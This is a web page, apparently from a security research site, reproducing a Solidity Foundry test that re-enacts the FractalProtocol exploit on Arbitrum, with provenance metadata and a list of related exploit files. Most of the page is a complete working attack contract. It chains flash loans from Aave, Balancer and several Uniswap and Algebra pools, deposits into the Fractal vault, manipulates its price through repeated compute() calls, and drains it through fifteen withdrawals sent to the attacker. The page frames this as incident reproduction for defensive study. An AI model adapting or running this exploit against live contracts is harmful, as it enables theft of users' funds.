Public reproduction file
src/test/2026-05/FractalProtocol_exp.sol
Public reproduction file for dataset entry FractalProtocol.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.13;4import {Test} from "forge-std/Test.sol";5import {console} from "forge-std/console.sol";6import {IERC20} from "forge-std/interfaces/IERC20.sol";7// @KeyInfo - Total Lost : ~$13.7K8// Attacker : https://arbiscan.io/address/0xe2acec13c6d1aaca584f827a22f2e4a02131e39a9// Attack Contract : https://arbiscan.io/address/0x43514743caa5a7d4a8b07f5d25fb242391bbc8da10// Vulnerable Contract : https://arbiscan.io/address/0x80e1a981285181686a3951b05ded454734892a0911// Attack Tx : https://arbiscan.io/tx/0x20db78913a51c3b3aece860ea142c240f3f8fa3b5bbf533a3d1d48eed857e10f12//13// @Info14// Vulnerable Contract Code : https://arbiscan.io/address/0x80e1a981285181686a3951b05ded454734892a09#code15//16// @Analysis17// Post-mortem : N/A18// Twitter Guy : https://x.com/DefimonAlerts/status/205861939177687896720contract FractalProtocolTest is Test {21 bytes32 internal constant TX_HASH = 0x20db78913a51c3b3aece860ea142c240f3f8fa3b5bbf533a3d1d48eed857e10f;23 address internal constant ATTACKER = 0xE2AceC13c6d1AAcA584F827a22F2e4A02131e39a;24 address internal constant FRACTAL_VAULT = 0x80e1a981285181686a3951B05dEd454734892a09;25 address internal constant USDF = 0xae48b7C8e096896E32D53F10d0Bf89f82ec7b987;26 IERC20 internal constant USDC_E = IERC20(0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8);28 uint256 internal constant EXPECTED_PROFIT = 13_707_715_574;30 FractalProtocolExploit internal exploit;32 function setUp() public {33 vm.createSelectFork("arbitrum", TX_HASH);34 exploit = new FractalProtocolExploit(ATTACKER);36 vm.label(ATTACKER, "Attacker");37 vm.label(address(exploit), "Exploit Contract");38 vm.label(FRACTAL_VAULT, "Fractal Vault");39 vm.label(USDF, "USDF");40 vm.label(address(USDC_E), "USDC.e");41 }43 function testExploit() public {44 uint256 beforeUsdc = USDC_E.balanceOf(ATTACKER);46 vm.prank(ATTACKER, ATTACKER);47 exploit.attack(FRACTAL_VAULT, USDF);49 uint256 usdcProfit = USDC_E.balanceOf(ATTACKER) - beforeUsdc;50 assertEq(usdcProfit, EXPECTED_PROFIT, "USDC.e profit mismatch");52 console.log("Stolen USDC.e", usdcProfit);53 }54}56contract FractalProtocolExploit {57 IFractalAaveV3Pool internal constant AAVE_V3_POOL = IFractalAaveV3Pool(0x794a61358D6845594F94dc1DB02A252b5b4814aD);58 IFractalBalancerVault internal constant BALANCER_VAULT = IFractalBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);59 IERC20 internal constant USDC_E = IERC20(0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8);61 IFractalUniswapV3Pool internal constant POOL_WETH_USDCE_500 =62 IFractalUniswapV3Pool(0xC31E54c7a869B9FcBEcc14363CF510d1c41fa443);63 IFractalUniswapV3Pool internal constant POOL_USDC_USDCE_100 =64 IFractalUniswapV3Pool(0x8e295789c9465487074a65b1ae9Ce0351172393f);65 IFractalUniswapV3Pool internal constant POOL_USDT_USDCE_500 =66 IFractalUniswapV3Pool(0x13398E27a21Be1218b6900cbEDF677571df42A48);67 IFractalUniswapV3Pool internal constant POOL_DAI_USDCE_500 =68 IFractalUniswapV3Pool(0xd37Af656Abf91c7f548FfFC0133175b5e4d3d5e6);69 IFractalUniswapV3Pool internal constant POOL_DAI_USDCE_100 =70 IFractalUniswapV3Pool(0xF0428617433652c9dc6D1093A42AdFbF30D29f74);71 IFractalUniswapV3Pool internal constant POOL_USDC_USDCE_100_ALT =72 IFractalUniswapV3Pool(0xc86Eb7B85807020b4548EE05B54bfC956eEbbfCD);74 uint256 internal constant AAVE_AMOUNT = 222_454_290_194;75 uint256 internal constant BALANCER_AMOUNT = 156_746_742_625;76 uint256 internal constant FLASH_0_AMOUNT = 325_455_260_363;77 uint256 internal constant FLASH_1_AMOUNT = 72_877_030_712;78 uint256 internal constant FLASH_2_AMOUNT = 16_812_367_950;79 uint256 internal constant FLASH_3_AMOUNT = 27_597_033_991;80 uint256 internal constant FLASH_4_AMOUNT = 34_922_809_708;81 uint256 internal constant FLASH_5_AMOUNT = 546_394_022_415;83 uint256 internal constant DEPOSIT_AMOUNT = 1_403_259_557_958;85 address internal immutable owner;86 IFractalVault internal vault;87 IERC20 internal usdf;89 constructor(address owner_) {90 owner = owner_;91 }93 function attack(address vault_, address usdf_) external {94 require(msg.sender == owner, "not owner");95 vault = IFractalVault(vault_);96 usdf = IERC20(usdf_);98 AAVE_V3_POOL.flashLoanSimple(address(this), address(USDC_E), AAVE_AMOUNT, "", 0);100 uint256 profit = USDC_E.balanceOf(address(this));101 require(USDC_E.transfer(owner, profit), "profit transfer failed");102 }104 function executeOperation(address asset, uint256 amount, uint256 premium, address initiator, bytes calldata)105 external106 returns (bool)107 {108 require(msg.sender == address(AAVE_V3_POOL), "not aave");109 require(initiator == address(this), "bad initiator");110 require(asset == address(USDC_E), "bad asset");112 IERC20[] memory tokens = new IERC20[](1);113 tokens[0] = USDC_E;114 uint256[] memory amounts = new uint256[](1);115 amounts[0] = BALANCER_AMOUNT;116 BALANCER_VAULT.flashLoan(address(this), tokens, amounts, "");118 require(USDC_E.approve(address(AAVE_V3_POOL), amount + premium), "aave approve failed");119 return true;120 }122 function receiveFlashLoan(123 IERC20[] calldata tokens,124 uint256[] calldata amounts,125 uint256[] calldata feeAmounts,126 bytes calldata127 ) external {128 require(msg.sender == address(BALANCER_VAULT), "not balancer");129 require(address(tokens[0]) == address(USDC_E), "bad balancer token");131 POOL_WETH_USDCE_500.flash(address(this), 0, FLASH_0_AMOUNT, "");132 require(USDC_E.transfer(address(BALANCER_VAULT), amounts[0] + feeAmounts[0]), "balancer repay failed");133 }135 function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata) external {136 require(fee0 == 0, "unexpected token0 fee");138 if (msg.sender == address(POOL_WETH_USDCE_500)) {139 POOL_USDC_USDCE_100.flash(address(this), 0, FLASH_1_AMOUNT, "");140 } else if (msg.sender == address(POOL_USDC_USDCE_100)) {141 POOL_USDT_USDCE_500.flash(address(this), 0, FLASH_2_AMOUNT, "");142 } else if (msg.sender == address(POOL_USDT_USDCE_500)) {143 POOL_DAI_USDCE_500.flash(address(this), 0, FLASH_3_AMOUNT, "");144 } else if (msg.sender == address(POOL_DAI_USDCE_500)) {145 POOL_DAI_USDCE_100.flash(address(this), 0, FLASH_4_AMOUNT, "");146 } else if (msg.sender == address(POOL_DAI_USDCE_100)) {147 POOL_USDC_USDCE_100_ALT.flash(address(this), 0, FLASH_5_AMOUNT, "");148 } else {149 revert("unknown pool");150 }152 require(USDC_E.transfer(msg.sender, _flashAmount(msg.sender) + fee1), "pool repay failed");153 }155 function algebraFlashCallback(uint256 fee0, uint256 fee1, bytes calldata) external {156 require(msg.sender == address(POOL_USDC_USDCE_100_ALT), "not algebra pool");157 require(fee0 == 0, "unexpected token0 fee");159 _drainFractalVault();161 require(USDC_E.transfer(msg.sender, FLASH_5_AMOUNT + fee1), "algebra repay failed");162 }164 function _drainFractalVault() internal {165 vault.currentPeriod();166 vault.getPeriodOfCurrentEpoch();167 USDC_E.balanceOf(address(vault));168 USDC_E.balanceOf(address(this));170 require(USDC_E.approve(address(vault), DEPOSIT_AMOUNT), "vault approve failed");171 vault.deposit(DEPOSIT_AMOUNT);173 vault.currentPeriod();174 vault.compute();175 vault.currentPeriod();176 vault.compute();177 vault.currentPeriod();178 vault.getTokenPrice();180 uint256[15] memory withdrawals = [181 uint256(232_645_092_654),182 uint256(186_116_074_124),183 uint256(148_892_859_299),184 uint256(119_114_287_439),185 uint256(95_291_429_951),186 uint256(76_233_143_961),187 uint256(60_986_515_170),188 uint256(48_789_212_136),189 uint256(39_031_369_709),190 uint256(31_225_095_767),191 uint256(24_980_076_613),192 uint256(19_984_061_291),193 uint256(15_987_249_033),194 uint256(12_789_799_226),195 uint256(3_265_096_440)196 ];198 for (uint256 i; i < withdrawals.length; ++i) {199 vault.getMaxWithdrawalAmount();200 USDC_E.balanceOf(address(vault));201 usdf.balanceOf(address(this));202 vault.withdraw(withdrawals[i]);203 }204 }206 function _flashAmount(address pool) internal pure returns (uint256) {207 if (pool == address(POOL_WETH_USDCE_500)) return FLASH_0_AMOUNT;208 if (pool == address(POOL_USDC_USDCE_100)) return FLASH_1_AMOUNT;209 if (pool == address(POOL_USDT_USDCE_500)) return FLASH_2_AMOUNT;210 if (pool == address(POOL_DAI_USDCE_500)) return FLASH_3_AMOUNT;211 if (pool == address(POOL_DAI_USDCE_100)) return FLASH_4_AMOUNT;212 revert("unknown amount");213 }214}216interface IFractalAaveV3Pool {217 function flashLoanSimple(218 address receiverAddress,219 address asset,220 uint256 amount,221 bytes calldata params,222 uint16 referralCode223 ) external;224}226interface IFractalBalancerVault {227 function flashLoan(address recipient, IERC20[] calldata tokens, uint256[] calldata amounts, bytes calldata userData)228 external;229}231interface IFractalUniswapV3Pool {232 function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;233}235interface IFractalVault {236 function currentPeriod() external view returns (uint256);237 function getPeriodOfCurrentEpoch() external view returns (uint256);238 function getTokenPrice() external view returns (uint256);239 function getMaxWithdrawalAmount() external view returns (uint256);240 function compute() external;241 function deposit(uint256 amount) external;242 function withdraw(uint256 amount) external;243}Analysis
Dataset entry
Public Foundry test for “FractalProtocol” (2026-05-22). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
23 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2026-05/AdsharesBridge_exp.solSame month in the dataset · 67 lines
- src/test/2026-05/AROS_exp.solSame month in the dataset · 326 lines
- src/test/2026-05/DxSale_exp.solSame month in the dataset · 70 lines
- src/test/2026-05/Ekubo_exp.solSame month in the dataset · 107 lines
- src/test/2026-05/ElevateFi_exp.solSame month in the dataset · 144 lines
- src/test/2026-05/HumaCreditApprovalBypass_exp.solSame month in the dataset · 101 lines
- src/test/2026-05/INKFinance_exp.solSame month in the dataset · 118 lines
- src/test/2026-05/JoeAgent_exp.solSame month in the dataset · 184 lines
- src/test/2026-05/LegendaryMoneyMonNft_exp.solSame month in the dataset · 145 lines
- src/test/2026-05/MAPProtocol_exp.solSame month in the dataset · 82 lines
- src/test/2026-05/MureDistribution_exp.solSame month in the dataset · 172 lines
- src/test/2026-05/NewMarketTrading_exp.solSame month in the dataset · 212 lines
- src/test/2026-05/Renegade_exp.solSame month in the dataset · 224 lines
- src/test/2026-05/SEAToken_exp.solSame month in the dataset · 165 lines
- src/test/2026-05/SharwaMarginTrading_exp.solSame month in the dataset · 271 lines
- src/test/2026-05/SKP_exp.solSame month in the dataset · 118 lines
- src/test/2026-05/SQTokenStaking_exp.solSame month in the dataset · 136 lines
- src/test/2026-05/SquidRouterModule_exp.solSame month in the dataset · 213 lines
- src/test/2026-05/TesseraSwap_exp.solSame month in the dataset · 125 lines
- src/test/2026-05/TrustedVolumes_exp.solSame month in the dataset · 190 lines
- src/test/2026-05/VerusBridge_exp.solSame month in the dataset · 251 lines
- src/test/2026-05/WUSD_exp.solSame month in the dataset · 339 lines
- src/test/2026-05/YSDAO_exp.solSame month in the dataset · 131 lines
Also imports external libraries: forge-std/Test.sol, forge-std/console.sol, forge-std/interfaces/IERC20.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xe2acec13c6d1aaca584f827a22f2e4a02131e39a
- Attack Contract
0x43514743caa5a7d4a8b07f5d25fb242391bbc8da
- Vulnerable Contract
0x80e1a981285181686a3951b05ded454734892a09
- Attack Tx
0x20db78913a51c3b3aece860ea142c240f3f8fa3b5bbf533a3d1d48eed857e10f
- Twitter: https://x.com/DefimonAlerts/status/2058619391776878967
- Explorer: https://arbiscan.io/address/0xe2acec13c6d1aaca584f827a22f2e4a02131e39a
- Explorer: https://arbiscan.io/address/0x43514743caa5a7d4a8b07f5d25fb242391bbc8da
- Explorer: https://arbiscan.io/address/0x80e1a981285181686a3951b05ded454734892a09
- Explorer: https://arbiscan.io/address/0x80e1a981285181686a3951b05ded454734892a09#code
File record
- Name
- FractalProtocol
- Path
- src/test/2026-05/FractalProtocol_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 17d716c7f6af7d71808fd2f569edf00f9250310d
- Language
- Solidity
- Size
- 243 lines
- Date
- 2026-05-22
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-05/FractalProtocol_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 17d716c7f6af7d71808fd2f569edf00f9250310d, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.